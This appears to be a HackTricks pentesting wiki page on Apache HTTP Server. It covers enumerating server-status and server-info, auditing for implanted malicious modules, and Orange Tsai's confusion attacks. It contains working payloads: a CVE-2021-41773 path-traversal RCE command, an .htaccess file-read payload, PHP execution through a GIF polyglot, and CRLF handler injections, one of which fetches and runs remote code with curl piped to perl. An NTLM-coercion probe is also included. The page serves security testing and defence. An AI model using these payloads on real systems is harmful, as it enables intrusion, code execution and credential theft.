apache.md (27419B)
1 --- 2 title: "Apache" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/apache.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/apache.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Apache 14 15 ## Executable PHP extensions 16 17 Check which modules and handlers the Apache server has enabled. Run: 18 19 ```bash 20 grep -R -B1 "httpd-php" /etc/apache2 21 ``` 22 23 Also, some places where you can find this configuration is: 24 25 ```bash 26 /etc/apache2/mods-available/php5.conf 27 /etc/apache2/mods-enabled/php5.conf 28 /etc/apache2/mods-available/php7.3.conf 29 /etc/apache2/mods-enabled/php7.3.conf 30 ``` 31 32 ## High-value Apache handlers to enumerate 33 34 Before going deep into rewrites, quickly check the built-in handlers because they can disclose exactly the Apache-specific pivots you need. 35 36 - **`/server-status`** and especially **`/server-status?auto`** may expose current requests, client IPs, vhosts, and worker state. With **`ExtendedStatus On`** you can often recover internal paths, admin URLs, or tokens embedded in request lines.<sup>[[5]](#references)</sup> 37 - **`/server-info`** accepts useful queries such as **`?config`**, **`?list`**, **`?server`**, **`?providers`**, or **`?<module>`** and can dump parsed configuration: **`DocumentRoot`**, **`ProxyPass`**, **`ScriptAlias`**, **`SetHandler`**, auth rules, backend hosts, and loaded modules.<sup>[[6]](#references)</sup> 38 - **`/balancer-manager`** can reveal **`BalancerMember`** backends, routes, **`stickysession`** names, and worker state. If write access is exposed, you may also be able to disable backends or change weights. 39 40 Quick checks: 41 42 ```bash 43 for u in /server-status /server-status?auto /server-info /server-info?config /server-info?list /balancer-manager; do 44 echo "### $u" 45 curl -sk -i "https://target$u" | sed -n '1,40p' 46 done 47 ``` 48 49 If **`server-info?config`** is exposed, immediately grep for Apache-specific pivots: 50 51 ```bash 52 curl -sk https://target/server-info?config | grep -E 'ProxyPass|ProxyPassMatch|SetHandler|AddHandler|AddType|ScriptAlias|ExecCGI|DAV On|AllowOverride' 53 ``` 54 55 Remember that `server-info` doesn't list `.htaccess` directives, so missing rules there doesn't prove a directory is clean. 56 If you can upload or edit `.htaccess`, `mod_status` and `mod_info` become interesting again when `AllowOverride FileInfo` lets you use `SetHandler`. For CGI or WebDAV follow-up, see [CGI Pentesting](/hacktricks/network-services-pentesting/pentesting-web/cgi) and [WebDav](/hacktricks/network-services-pentesting/pentesting-web/put-method-webdav). 57 58 ## Malicious Apache modules: trusted-origin proxying and response injection 59 60 After gaining root, an attacker can use Apache's own `apxs -i -a -c module.c` workflow to compile a DSO, copy it into the module directory and add its `LoadModule` entry. A module registered in the name-translation phase can inspect every request and turn only selected URI prefixes into `proxy:` requests for an attacker-controlled upstream. The browser still addresses the compromised origin, while forwarding the original `Host` header makes the upstream request look consistent with that origin.<sup>[[12]](#references)[[13]](#references)</sup> 61 62 A second implant pattern combines request hooks with an output filter: match on URI, referrer, User-Agent, arbitrary headers or client IP; retrieve remote content; then modify Apache bucket brigades before the response is sent. This supports crawler-only SEO content or HTML insertion near a marker such as `<body>`. The filter can also delete the legitimate `Content-Security-Policy` header and install a permissive replacement. This is **server-side policy removal**, not a browser CSP parsing bypass: the browser never receives the site's original policy.<sup>[[12]](#references)[[14]](#references)</sup> 63 64 A practical deployment may enable legitimate dependencies such as `proxy`, `headers` and `rewrite`, delete source/build files, and copy timestamps from normal modules to both the malicious `.so` and its load configuration. Therefore, filenames and modification times alone are weak trust signals.<sup>[[12]](#references)</sup> 65 66 ### Module and artifact audit 67 68 Dump the runtime module set first: `httpd -M` (or the distribution's `apachectl -M`) includes both statically and dynamically loaded modules. Then correlate each `LoadModule` entry with its binary, package ownership, hash and filesystem metadata.<sup>[[12]](#references)[[15]](#references)</sup> 69 70 ```bash 71 apachectl -M 2>/dev/null || apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null 72 grep -RInE '^[[:space:]]*LoadModule' /etc/apache2 /etc/httpd /usr/local/apache2/conf 2>/dev/null 73 find -L /usr/lib/apache2/modules /usr/lib64/httpd/modules /etc/httpd/modules /usr/local/apache2/modules -type f -name '*.so' -print0 2>/dev/null | 74 while IFS= read -r -d '' so; do 75 stat -c '%n | mode=%a uid=%u gid=%g | mtime=%y | ctime=%z' "$so" 76 sha256sum "$so" 77 dpkg-query -S "$so" 2>/dev/null || rpm -qf "$so" 2>/dev/null || echo "UNOWNED: $so" 78 done 79 ``` 80 81 Treat an old `mtime` paired with a much newer `ctime`, an unowned DSO, a package verification failure, or a new load file as a pivot—not standalone proof. For suspicious modules, imports/strings can expose HTTP clients, hardcoded upstreams, encrypted rule blobs and response-injection placeholders.<sup>[[12]](#references)</sup> 82 83 ```bash 84 readelf -d /path/to/module.so | grep -E 'NEEDED|curl|ssl|crypto' 85 strings -a /path/to/module.so | grep -Ei 'https?://|libcurl|RC4|proxy:|content-security-policy|\{host\}|\{url\}|<body' 86 dpkg -V apache2 apache2-bin 2>/dev/null || rpm -V httpd 2>/dev/null 87 grep -RInE '/wps|/bmw|/card|/jogos|/nova' /var/log/apache2 /var/log/httpd 2>/dev/null 88 ``` 89 90 ### Detect conditional cloaking 91 92 Fetch the same URL with different crawler/browser identities, referrers and—where possible—source networks; compare status, headers, body length and hashes. Differences in CSP, injected markup or upstream-themed content that cannot be explained by normal personalization are high-signal findings.<sup>[[12]](#references)</sup> 93 94 ```bash 95 url='https://target/suspected-path' 96 curl -skD browser.h -o browser.b -A 'Mozilla/5.0' -e 'https://target/' "$url" 97 curl -skD crawler.h -o crawler.b -A 'Googlebot/2.1 (+http://www.google.com/bot.html)' "$url" 98 sha256sum browser.b crawler.b 99 wc -c browser.b crawler.b 100 diff -u browser.h crawler.h 101 diff -u browser.b crawler.b 102 ``` 103 104 ## CVE-2021-41773 105 106 ```bash 107 curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname' 108 uid=1(daemon) gid=1(daemon) groups=1(daemon) 109 Linux 110 ``` 111 112 ## LFI via .htaccess ErrorDocument file provider (ap_expr) 113 114 If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.<sup>[[2]](#references)[[3]](#references)[[4]](#references)</sup> 115 116 - Requirements: 117 - Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4). 118 - The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo). 119 - The Apache worker user must have read permissions on the target file. 120 121 .htaccess payload: 122 123 ```text 124 # Optional marker header just to identify your tenant/request path 125 Header always set X-Debug-Tenant "demo" 126 # On any 404 under this directory, return the contents of an absolute filesystem path 127 ErrorDocument 404 %{file:/etc/passwd} 128 ``` 129 130 Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting: 131 132 ```bash 133 curl -s http://target/~user/does-not-exist | sed -n '1,20p' 134 ``` 135 136 Notes and tips: 137 - Only absolute paths work. The content is returned as the response body for the 404 handler. 138 - Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups. 139 - Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: 140 - rename .htaccess .htaccess.bk 141 - put your malicious .htaccess 142 - Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.). 143 144 ## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a> 145 146 Orange introduced and documented these attack classes in [**this research post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1); the following is a summary. Apache modules process and mutate the same request record in stages. Semantic disagreement between modules can cause an early module to place unexpected data in a field that a later module interprets as a path, handler, or URL.<sup>[[1]](#references)</sup> 147 148 ### Filename Confusion 149 150 #### Truncation 151 152 The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem. 153 154 - **Path Truncation** 155 156 It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`: 157 158 ```bash 159 RewriteEngine On 160 RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" 161 162 # Expected 163 curl http://server/user/orange 164 # the output of file `/var/user/orange/profile.yml` 165 166 # Attack 167 curl http://server/user/orange%2Fsecret.yml%3F 168 # the output of file `/var/user/orange/secret.yml` 169 ``` 170 171 - **Mislead RewriteFlag Assignment** 172 173 In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the `?` char while loading in the path a different type of file (like an image) with malicious php code inside of it: 174 175 ```bash 176 RewriteEngine On 177 RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] 178 179 # Attacker uploads a gif file with some php code 180 curl http://server/upload/1.gif 181 # GIF89a <?=`id`;> 182 183 # Make the server execute the php code 184 curl http://server/upload/1.gif%3fooo.php 185 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data) 186 ``` 187 188 #### **ACL Bypass** 189 190 It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like: 191 192 ```xml 193 <Files "admin.php"> 194 AuthType Basic 195 AuthName "Admin Panel" 196 AuthUserFile "/etc/apache2/.htpasswd" 197 Require valid-user 198 </Files> 199 ``` 200 201 This is because by default PHP-FPM will receive URLs ending in `.php`, like `http://server/admin.php%3Fooo.php` and because PHP-FPM will remove anything after the character `?`, the previous URL will allow to load `/admin.php` even if the previous rule prohibited it. 202 203 ### DocumentRoot Confusion 204 205 ```bash 206 DocumentRoot /var/www/html 207 RewriteRule ^/html/(.*)$ /$1.html 208 ``` 209 210 The preceding rewrite can make Apache test the path relative to both the `DocumentRoot` and the filesystem root. For example, a request to `https://server/abouth.html` may check `/var/www/html/about.html` and `/about.html`, creating a filesystem-access primitive when other authorization conditions also permit it. 211 212 #### **Server-Side Source Code Disclosure** 213 214 - **Disclose CGI Source Code** 215 216 Just adding a %3F at the end is enough to leak the source code of a cgi module: 217 218 ```bash 219 curl http://server/cgi-bin/download.cgi 220 # the processed result from download.cgi 221 curl http://server/html/usr/lib/cgi-bin/download.cgi%3F 222 # #!/usr/bin/perl 223 # use CGI; 224 # ... 225 # # the source code of download.cgi 226 ``` 227 228 - **Disclose PHP Source Code** 229 230 If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code: 231 232 ```bash 233 # Leak the config.php file of the www.local domain from the static.local domain 234 curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" 235 # the source code of config.php 236 ``` 237 238 #### **Local Gadgets Manipulation** 239 240 The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): 241 242 ```xml 243 <Directory /> 244 AllowOverride None 245 Require all denied 246 </Directory> 247 ``` 248 249 However, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) operating systems by default allow `/usr/share`: 250 251 ```xml 252 <Directory /usr/share> 253 AllowOverride None 254 Require all granted 255 </Directory> 256 ``` 257 258 Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.** 259 260 **Local Gadget to Information Disclosure** 261 262 - **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, which can leak sensitive environment variables. 263 - Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**: 264 - **/usr/share/nginx/html/** 265 - **/usr/share/jetty9/etc/** 266 - **/usr/share/jetty9/webapps/** 267 268 **Local Gadget to XSS** 269 270 - On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**. 271 272 **Local Gadget to LFI** 273 274 - If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**: 275 - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** 276 - **/usr/share/javascript/jquery-jfeed/proxy.php** 277 - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** 278 279 **Local Gadget to SSRF** 280 281 - Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits. 282 283 **Local Gadget to RCE** 284 285 - Outdated local applications such as **PHPUnit** or **phpLiteAdmin** can provide **remote code execution (RCE)** gadgets when exposed through a file-read or handler-confusion primitive. 286 287 #### **Jailbreak from Local Gadgets** 288 289 It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like: 290 291 - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` 292 - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` 293 - **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/` 294 - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` 295 - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` 296 297 Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.** 298 299 ### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a> 300 301 This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not. 302 303 Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect. 304 305 #### **Overwrite Handler to Disclose PHP Source Code** 306 307 This [**talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) presented a vulnerability in which an incorrect client `Content-Length` could make Apache **return PHP source code**. Error handling between ModSecurity and the Apache Portable Runtime (APR) produced a double response that overwrote `r->content_type` with `text/html`.<sup>[[9]](#references)</sup>\ 308 Because ModSecurity did not handle the return values correctly, Apache returned the PHP source instead of passing it to the PHP handler.<sup>[[9]](#references)</sup> 309 310 > [!NOTE] 311 > The original research initially marked this issue as undisclosed. Consult Apache's current security advisories before testing version-specific behavior. 312 313 ### **Invoke Arbitrary Handlers** 314 315 If an attacker controls the **`Content-Type`** header in a server response, they may be able to **invoke arbitrary module handlers**. Although most request processing has finished by then, a local redirect can restart processing: when a CGI response uses a local-path `Location` value, Apache internally reprocesses the specified path. 316 317 [RFC 3875, section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines CGI local-redirect response behavior:<sup>[[11]](#references)</sup> 318 319 > The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified. 320 321 This attack therefore requires one of the following vulnerabilities: 322 323 - CRLF Injection in the CGI response headers 324 - SSRF with complete control of the response headers 325 326 #### **Arbitrary Handler to Information Disclosure** 327 328 For example `/server-status` should only be accessible locally: 329 330 ```xml 331 <Location /server-status> 332 SetHandler server-status 333 Require local 334 </Location> 335 ``` 336 337 It may be possible to reach it by setting `Content-Type` to `server-status` and returning a `Location` header that begins with `/`. 338 339 ```text 340 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a 341 Location:/ooo %0d%0a 342 Content-Type:server-status %0d%0a 343 %0d%0a 344 ``` 345 346 #### **Arbitrary Handler to Full SSRF** 347 348 Redirecting to `mod_proxy` to access any protocol on any URL: 349 350 ```text 351 http://server/cgi-bin/redir.cgi?r=http://%0d%0a 352 Location:/ooo %0d%0a 353 Content-Type:proxy: 354 http://example.com/%3F 355 %0d%0a 356 %0d%0a 357 ``` 358 359 However, the `X-Forwarded-For` header is added preventing access to cloud metadata endpoints. 360 361 #### **Arbitrary Handler to Access Local Unix Domain Socket** 362 363 Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in `/tmp/`: 364 365 ```text 366 http://server/cgi-bin/redir.cgi?r=http://%0d%0a 367 Location:/ooo %0d%0a 368 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a 369 %0d%0a 370 ``` 371 372 #### **Arbitrary Handler to RCE** 373 374 The official [PHP Docker](https://hub.docker.com/_/php) image includes PEAR (`Pearcmd.php`), a command-line PHP package management tool, which can be abused to obtain RCE: 375 376 ```text 377 http://server/cgi-bin/redir.cgi?r=http://%0d%0a 378 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} 379 orange.tw/x|perl 380 ) %2b alltests.php %0d%0a 381 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a 382 %0d%0a 383 ``` 384 385 Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), written by [Phith0n](https://x.com/phithon_xg) for the details of this technique.<sup>[[10]](#references)</sup> 386 387 ## Recent Apache notes worth testing 388 389 ### Reverse proxy request splitting via `RewriteRule [P]` / `ProxyPassMatch` 390 391 Apache 2.4.56 fixed a very useful reverse-proxy pattern: a broad `RewriteRule` or `ProxyPassMatch` captured attacker-controlled bytes and re-inserted them into the proxied request-target. In practice, any config that reflects `$1`, `$2`, etc. into a backend URL is worth fuzzing for request splitting / smuggling, ACL bypass, unintended backend paths, and cache poisoning.<sup>[[7]](#references)</sup> 392 393 Quick audit: 394 395 ```bash 396 grep -RInE 'RewriteRule.*\[.*P.*\]|ProxyPassMatch|SetHandler\s+"proxy:|SetHandler\s+proxy:' /etc/apache2 /usr/local/apache2/conf 2>/dev/null 397 ``` 398 399 Fuzz attacker-controlled captures with: 400 401 - `%0d%0a` 402 - encoded `?`, `#`, or `;` 403 - duplicated slashes and dot segments 404 - path or query fragments that can change the upstream route 405 406 If you find one of these patterns, continue in [HTTP Request Smuggling](/hacktricks/pentesting-web/http-request-smuggling/overview). 407 408 ### Hunt for `UnsafeAllow3F` and `UnsafePrefixStat` 409 410 Apache 2.4.60 introduced two opt-in `mod_rewrite` flags that effectively re-enable dangerous legacy behavior after the 2024 hardening work. From an attacker perspective, if you find them in a target config, the older confusion-style primitives become interesting again:<sup>[[7]](#references)[[8]](#references)</sup> 411 412 - `UnsafeAllow3F`: Allows rewrites to continue when the request contains an encoded `?` (`%3f`) and the rewritten substitution also contains a literal `?`. This is exactly the pattern behind `?`-based truncation / handler confusion tricks. 413 - `UnsafePrefixStat`: Allows server-scoped substitutions that start with a backreference or variable and resolve to a filesystem path without forcing a safe DocumentRoot prefix first. This is the dangerous pattern behind path escapes and unexpected local file resolution. 414 415 Quick audit: 416 417 ```bash 418 grep -RInE 'UnsafeAllow3F|UnsafePrefixStat|RewriteRule' /etc/apache2 /usr/local/apache2/conf 2>/dev/null 419 ``` 420 421 If those flags are present, re-test: 422 423 - `%3f` in attacker-controlled captures that later influence `RewriteRule` substitutions or handler selection. 424 - Server/vhost scoped rewrites where the first path segment comes from `$1`, `%{ENV:*}`, `%{HTTP:*}`, or similar attacker-influenced variables. 425 426 ### Windows UNC / NTLM coercion 427 428 On Windows deployments, recent Apache research showed that unsafe path handling can be turned into outbound SMB authentication to an attacker-controlled host. This matters whenever untrusted input reaches `mod_rewrite`, `ap_expr`, or type-map resolution.<sup>[[7]](#references)</sup> 429 430 Interesting conditions: 431 432 - `AllowEncodedSlashes On` 433 - On Windows, the combination `AllowEncodedSlashes On` + `MergeSlashes Off` is especially interesting on 2.4.65 and earlier 434 - Debian/Ubuntu style `AddHandler type-map var` can make uploaded `.var` files interesting on Windows too 435 436 Basic probe: 437 438 ```bash 439 curl http://server/%5C%5Cattacker-server/path/to 440 ``` 441 442 If the request is accepted and the server is Windows-based, Apache may attempt to resolve a UNC path and coerce NTLM authentication to `attacker-server`. In real intranet environments, treat this as more than "just SSRF": the leaked authentication can often be chained into NTLM relay. 443 444 If file upload is available and `type-map` support is enabled, a malicious `.var` file whose `URI` points to a UNC path can trigger the same class of outbound authentication. 445 446 ### Request-controlled `Content-Type` + `mod_headers` is a handler/proxy audit target 447 448 Apache 2.4.64 fixed a niche but relevant configuration class: if `mod_proxy` is loaded and `mod_headers` copies attacker-controlled data into the `Content-Type` request or response header, Apache can be tricked into making outbound proxy requests to attacker-chosen URLs. This fits the same handler-confusion theme as the section above.<sup>[[7]](#references)</sup> 449 450 Quick audit: 451 452 ```bash 453 grep -RInE '(RequestHeader|Header).*(Content-Type|Content-type)' /etc/apache2 /usr/local/apache2/conf 2>/dev/null 454 ``` 455 456 If the `Content-Type` value is influenced by request data, test `proxy:http://...`, `proxy:unix:/...|fcgi://...`, and local handler names exactly like you would in a CRLF / header-injection chain. 457 458 ### 2.4.64-only `RewriteCond expr` bug 459 460 If fingerprinting shows exactly **Apache 2.4.64**, treat every **`RewriteCond expr`**-based security control as suspect: all **`RewriteCond expr ...`** tests evaluate to **true**. Re-test IP/header/path gates, negative conditions, canonicalization rules, and "only proxy if ..." logic.<sup>[[7]](#references)</sup> 461 462 Quick audit: 463 464 ```bash 465 grep -RIn 'RewriteCond expr' /etc/apache2 /usr/local/apache2/conf 2>/dev/null 466 ``` 467 468 ### `AddType`-based handler mappings are still a high-value audit target 469 470 The Handler Confusion section above is not only theoretical. Apache 2.4.60 and 2.4.61 had regressions where legacy content-type based handler mappings such as `AddType application/x-httpd-php .php` could disclose source code when files were requested indirectly instead of directly. Apache 2.4.62 fixed the regression, but this remains a good pentest check because many environments still rely on legacy `AddType` mappings.<sup>[[7]](#references)</sup> 471 472 Quick audit: 473 474 ```bash 475 grep -RInE 'AddType\s+application/x-httpd-php|AddType\s+.*x-httpd' /etc/apache2 /usr/local/apache2/conf 2>/dev/null 476 ``` 477 478 If you find `AddType` instead of `SetHandler` / `AddHandler`, compare direct requests with any indirect request path that reaches the same script through an internal rewrite, local redirect, or `ErrorDocument` chain. Look for cases where PHP is suddenly served as text/plain / text/html instead of being executed. 479 480 ## References 481 482 - [1] [Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) 483 - [2] [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) 484 - [3] [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) 485 - [4] [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) 486 - [5] [Apache Module mod_status (`server-status`)](https://httpd.apache.org/docs/2.4/mod/mod_status.html) 487 - [6] [Apache Module mod_info (`server-info`)](https://httpd.apache.org/docs/2.4/en/mod/mod_info.html) 488 - [7] [Apache HTTP Server 2.4 vulnerabilities list (official changelog/advisories)](https://httpd.apache.org/security/vulnerabilities_24.html) 489 - [8] [Apache RewriteRule Flags (`UnsafeAllow3F`, `UnsafePrefixStat`)](https://httpd.apache.org/docs/2.4/rewrite/flags.html) 490 - [9] [Apache 0day bug, which still nobody knows of, and which was fixed accidentally (Max Dmitriev, ZeroNights 2021)](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 491 - [10] [Docker PHP LFI Summary (Phith0n)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 492 - [11] [RFC 3875 section 6.2.2 – Local Redirect Response](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 493 - [12] [Gaming the System: How a Chinese-Speaking Actor Turned Brazilian Government Sites into an SEO Weapon](https://research.checkpoint.com/2026/gaming-the-system-how-a-chinese-speaking-actor-turned-brazilian-government-sites-into-an-seo-weapon/) 494 - [13] [Apache `apxs` - APache eXtenSion tool](https://httpd.apache.org/docs/2.4/programs/apxs.html) 495 - [14] [Apache guide to writing output filters](https://httpd.apache.org/docs/2.4/developer/output-filters.html) 496 - [15] [Apache `httpd` command-line options](https://httpd.apache.org/docs/2.4/programs/httpd.html)